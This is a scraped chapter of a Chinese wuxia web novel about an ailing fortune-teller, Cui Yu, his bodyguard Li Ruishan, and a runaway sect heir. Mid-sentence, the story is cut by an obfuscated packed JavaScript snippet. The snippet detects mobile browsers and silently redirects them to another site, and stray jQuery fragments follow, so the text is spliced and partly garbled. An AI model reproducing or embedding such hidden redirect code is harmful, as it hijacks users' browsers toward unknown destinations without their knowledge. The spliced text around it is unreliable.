默认冷灰
24号文字
方正启体

2. 骨生花毒发

作者:师越本书字数:K更新时间:
    “你说不准就不准了?”崔昱拍开宋弋的手,冷脸说道。


    二人凑得近,崔昱身上的苦药气猝不及防地传到了宋弋的鼻尖。


    “你生病了?怎么这么大股药味。”


    长顺听着里面似乎在争执,便小心推开门走了进来。一进来就看到自家少爷盛气凌人地攥住人家崔先生的衣领,吓得他魂儿都掉了。


    连忙凑过去,“少爷,这崔先生身体不好,快松开吧。”


    “松手。”崔昱闭了闭眼睛,缓了缓,“不收你卦金了行吧,快滚。”


    “那你是承认自己算错卦了?”


    “咳咳……咳”崔昱闷闷地咳了两声,刚刚压制下去的骨生花隐隐有卷土重来的势头,他用手撑着床沿,身体随着咳嗽微微颤抖。


    “爷!”李瑞山拎着包子,推开门看到的就是如此一幅场景,心神俱裂。


    瞬息之间,极其凌厉的一掌直直拍向宋弋心口,这是下了死手。


    掌风蕴含的内力死死把他压制住,让他动弹不得。


    崔昱抬手把宋弋往外一推,堪堪避开要害,宋弋脸上被掌风带到,划出一道长长的血痕。


    “没事吧。”李瑞山武夫装扮,三十来岁年纪,身高八尺,立在那儿就压迫感十足。


    他扶住崔昱的肩膀,转身坐下坐在床沿上给他渡真气。


    崔昱按着胸口,惊天动地地咳着,神色恹恹,好半天才回过神,“瑞山,少用杀招。”


    他安抚地按了按李瑞山的手,然后转头看向被点穴定在一边的主仆二人。


    “给钱也不行,不给也不行,你要干什么?偷跑出来的吧天工阁少主?你爹在江湖上广发讯息要捉你回去。不知道把你扭送到天工阁有没有赏金?”


    这么长的一句话难得他一气呵成不喘气儿地说了出来。


    “唔……唔”


    李瑞山斜他一眼,解开他的闭口诀,“有话快说。”


    “既然你识得我身份,那你这卦就是算错了,还不承认!”宋弋梗着脖子,不依不饶。


    崔昱披上外衣,脚步有些虚浮,捡起地上的包子,打开油纸还温热着。


    走到宋弋面前,往他嘴里塞了一个最大的,“聒噪。”


    “方以呢?回来了吗?”崔昱啃着包子,脸上不显得那么苍白。


    李瑞山给他倒了杯茶,怕他噎着,“还没有。爷,下次不要把方以派出去了,没人守着你我不放心。”


    “瑞山,把这俩人处理了吧,最好大卸八块,抛尸荒野,让野狗大快朵颐。”


    崔昱毫无技巧地转移话题,他说这话的时候故意盯着宋弋的眼睛,缓缓露出个邪恶的笑容。


    “得嘞,脖子来一刀,手臂来两刀,腿上再来两刀。”李瑞山也纵着他,顺着他的话头往下接。


    长顺经不住吓,眼睛里已经满是泪水,宋弋还气鼓鼓的,恶狠狠地瞪着双眼。


    “行了,吓小孩儿呢。”崔昱摆了摆手,“我与天工阁有些渊源,此事暂且不与你们计较,我派人送你们回去。”


    把宋弋二人送走,他才缓缓卸了一口气,瘫倒在床上,“哎呦瑞山,别这么严肃,瞧你那苦大仇深的样子,我尚且还活蹦乱跳着呢。”


    他不敢说骨生花隐隐又有发作的迹象,怕待会儿被大卸八块的就是他自己了。


    崔昱和李瑞山年少相识。


    这二十年相处下来,他讲的话,几分真几分假,李瑞山就是不听也能分辨个七七八八。


    抬眼一看他微微皱起的眉头,和逐渐急促的呼吸声,就知道又毒发了。


    骨生花是万毒之首,这毒发作起来,犹如万虫咬噬,到后期经脉寸寸而断,骨生花从血肉中破体而出。


    崔昱实在是疼的紧,玩笑话也没力气说了,手抵着唇低声呛咳着,身体微微颤抖。


    呛咳时带出一些血沫来,嘴里满是铁锈味,他够着手去拿茶杯。


    李瑞山无奈叹息一声,给他倒水,然后搭手探脉,将纯厚的真气缓缓渡入,温润着他寸寸龟裂的经脉。


    这十年来,骨生花的纹路从脚踝开始,慢慢爬至腰间,平常不显,毒发的时候才会缓缓浮现,有时候会皮肉破裂,渗出鲜血,十分惨烈。


    崔昱的内功心法顿悟于战场,名为万里同归。至刚至阳的内力在在至邪至阴的骨生花毒的侵蚀下残余不到三成,堪堪能护住心脉。


    李瑞山的真气也是阳刚一脉,牵引着万里同归的真气缓缓运行。


    几个周天之后,两人都汗湿重衫。


    “毒发得更频繁了,这个月几次了?”李瑞山打来热水,给崔昱擦着汗湿的鬓角。


    解开衣衫,骨生花的纹路淡了下去,还有浅浅的印子,这毒是暂时压制下去了。


    崔昱像一个小木偶一样,任由他摆弄,抬抬手、扭扭脖子,听话得不像话。


    “这个月发作了两次。”李瑞山没在的时候,崔昱也能用万里同归自己压制,但是过程更长一些,受毒发的折磨也更久。


    “对了瑞山,去查一下这个天工阁少主的身世,卦象上确实是显示他双亲俱亡,又怎么会是他天工阁宋远桥的儿子呢?”


    李瑞山点点头,揉着他泛紫的手腕,“要不要叫荀先生来看看,免得你老是手疼。”


    “心病罢了,他来要骂我不爱惜身体,不行不行。”崔昱换了身薄衫,拎起算命的家伙事儿推开门,回头叮嘱道:“瑞山,盯紧他们,确保计划万无一失。”


    广安城大而繁荣,临东海,门派林立,江湖人多,商贾来往多,是他精挑细选的好地方。


    崔昱星罗子的名气很大,他这段时间日日在广安城摆摊,不外乎就是为一场好戏造势。


    他路过集市的时候,买了一碗阳春面坐在矮桌上慢慢吃,一只大黄狗蹲着在他腿间蹭来蹭去。


    远远看去,他摊位前的队已经排了老长。即使他一天只算十卦,后面的人都会抱着侥幸心理等前面的人放弃。


    吃完面,给大黄买了个大肉包,这才晃晃悠悠地往前走。排在最前面的竟然还是李掌柜,崔昱心想是不是要禁止代排。


    还没等他想出个所以然,李掌柜就先给他跪下了,一把鼻涕一把泪,“先生救命之恩,无以为报,特来奉上卦金,还请先生收下。”


    原来天亮之后,李府下人来报,宅子里走了大水,连着主院和库房都烧了。


    李家根基不在广安城,妻儿老小都在隔壁来安城,李掌柜算是来拓展生意的,李府就他和几个小厮在。


    因为崔昱的批卦,他带着几个小厮都出来了,就剩下几个门房在家里。幸得几个门房睡的地儿离主院远,没有伤亡,只是可惜了库房的货物。


    要是被宋弋知道,崔昱只是把李掌柜引到石子巷避开祸端,自己并没有打算前去,得气个半死。


    白白在哪儿等了一夜,结果人家压根就没打算去。


    崔昱挂着淡淡的笑容,把李掌柜扶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998703|193916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起来,“卦金二十文昨日已经收下了,心意领了,李掌柜请回吧,这后边还这么多人排着呢!莫耽搁了。”


    话音刚落,旁边一个高瘦明秀的青年上前一步,作了一个揖,“崔先生,在下平湖剑派祁羽,奉家师之命,请先生一叙。”


    崔昱抚了抚袖子,把东西摆放好,抬眼打量他,“平湖剑派?”


    “正是!”


    他摇摇头,“没听过。”随即转头看向今天的第一个客人,“算什么?”


    面对如此刻意的冷落,祁羽也不恼,双手抱剑立在崔昱身后,颇有一番少年英侠的稳重风范。


    这第一个客人一副花孔雀模样,崔昱一打眼就看出来他的来历,沈郡守的二公子嘛。


    这郡守大人是个刚正的好官,但他的这个儿子实在是不成才,虽说没到欺男霸女的程度,但也是广安城一害。


    “给本少爷算算,能不能得到清瑜姑娘的芳心?”这二公子大喇喇地坐下,纨绔作态十足。


    清瑜姑娘并非是卖笑卖唱的青楼女子,而是前面路口卖素面家的女儿,生得小家碧玉,十分清丽,被这纨绔纠缠许久了。


    崔昱低头一笑,计上心来,拿出签筒让他摇签。


    二公子单手摇签,一枚下下签水灵灵地躺在了桌子上。


    “啧……”崔昱摇摇头,拿起签来左看看右看看,突然凑到他面前,低声说,“这是大凶啊!”


    二公子一个没坐稳,翻到地上去了,“怎……怎么说?你要是说不出个所以然,可是吃……吃不了兜着走!”


    “公子,你这是命犯桃花煞,如果是强娶清瑜姑娘,恐怕有血光之灾!”崔昱摇摇扇子,说得煞有介事。


    “胡说,本少爷要钱有钱,要貌有权,她凭什么看不上我。”


    “不信你按按你左腰,最后一根肋骨下面,是不是隐隐作痛。”


    二公子下意识地摸向左腰,突然疼得龇牙咧嘴,“嘶……你怎么知道?”


    “这就对了嘛,这就是桃花煞,要是不破解,短则三日,长则一月就要一命呜呼喽。”崔昱无意识地盘着铜钱,摊摊手无所谓地说道。


    “那大师,应该如何破解?卦金好说好说,本少爷有的是钱。”二公子心有余悸地摸摸左腰。


    崔昱伸出手,掐指一算,“简单,斋戒七日,不能沾荤腥,每日绕着这城外跑上一圈就能破了这煞。但要长久的安稳的话,还得是要离那姑娘远远的才行啊。”


    他眨眨眼,伸出手。


    手指瘦削修长,骨节分明,像养尊处优的手,不似会武。这是祁羽的第一反应。


    二公子识趣的把卦金奉上,“果真准?”


    崔昱眯着眼睛点点头,“不准不收钱。下一位!”


    今日这十卦有鸡毛蒜皮的小事,也有江湖恩怨纠纷,崔昱朝着后边的人摆摆手,准备收拾东西走人。


    没想到一转身后面那尊门神还一动不动地立在那儿。


    人群渐渐散去,崔昱在椅子上坐下,抬头望向祁羽,“你也看见了,我未必就有江湖传言般神乎其神。”


    祁羽点点头,“别的不知道,桃花煞确实忽悠,弹石子儿的手法不错,力道刚柔并济。”


    “谬赞谬赞。”崔昱笑着拱拱手。


    “哎喂诶,你干嘛,君子动口不动手。”


    只见祁羽左手拿着他的算命家伙,右手箍住他的手腕,施展轻功。


    “崔先生,得罪了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)